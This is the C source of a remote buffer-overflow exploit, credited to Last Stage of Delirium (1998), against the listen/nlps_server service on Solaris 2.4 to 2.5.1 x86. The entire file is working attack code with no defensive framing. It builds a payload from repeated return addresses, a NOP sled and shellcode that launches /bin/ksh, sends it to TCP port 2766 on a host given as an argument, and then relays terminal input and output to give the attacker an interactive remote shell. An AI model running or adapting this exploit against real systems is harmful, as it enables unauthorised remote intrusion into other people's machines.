nlps_server.c

/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland nlps_server.c

/*## copyright LAST STAGE OF DELIRIUM apr 1998 poland *://lsd-pl.net/ #*/
/*## listen/nlps_server #*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <netdb.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>

#define ADRNUM 256
#define NOPNUM 64+46+7+4

char adr[4]="\x30\x79\x04\x08";

char shellcode[]=
"\xeb\x1b" /* jmp <shellcode+30> */
"\x33\xd2" /* xorl %edx,%edx */
"\x58" /* popl %eax */
"\x8d\x78\x14" /* leal 0x14(%eax),edi */
"\x52" /* pushl %edx */
"\x57" /* pushl %edi */
"\x50" /* pushl %eax */
"\xab" /* stosl %eax,%es:(%edi) */
"\x92" /* xchgl %eax,%edx */
"\xab" /* stosl %eax,%es:(%edi) */
"\x88\x42\x08" /* movb %al,0x8(%edx) */
"\x83\xef\x3c" /* subl $0x3c,%edi */
"\xb0\x9a" /* movb $0x9a,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\x47" /* incl %edi */
"\xb0\x07" /* movb $0x7,%al */
"\xab" /* stosl %eax,%es:(%edi) */
"\xb0\x3b" /* movb $0x3b,%al */
"\xe8\xe0\xff\xff\xff" /* call <shellcode+2> */
"/bin/ksh"
;

main(int argc,char **argv){
char buffer[1024],*b;
int sck,i;
struct sockaddr_in address;
struct hostent *hp;

printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland //lsd-pl.net/\n");
printf("listen/nlps_server for solaris 2.4 2.5 2.5.1 x86\n\n");

if(argc!=2){
printf("usage: %s address\n",argv[0]);exit(1);
}
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(2766);
if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
printf("error: address.\n");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
perror("error");exit(-1);
}

sprintf(buffer,"NLPS:002:002:");
b=&buffer[13];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=0x90;
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b=0;

for(i=0;i<(14+ADRNUM+NOPNUM+strlen(shellcode)+1);i++)
printf("%02x",(unsigned char)buffer[i]);
fflush(stdout);

write(sck,buffer,14+ADRNUM+NOPNUM+strlen(shellcode)+34+1);
write(sck,"yahoo...\n",9);

while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
/* www.hack.co.za [7 August 2000]*/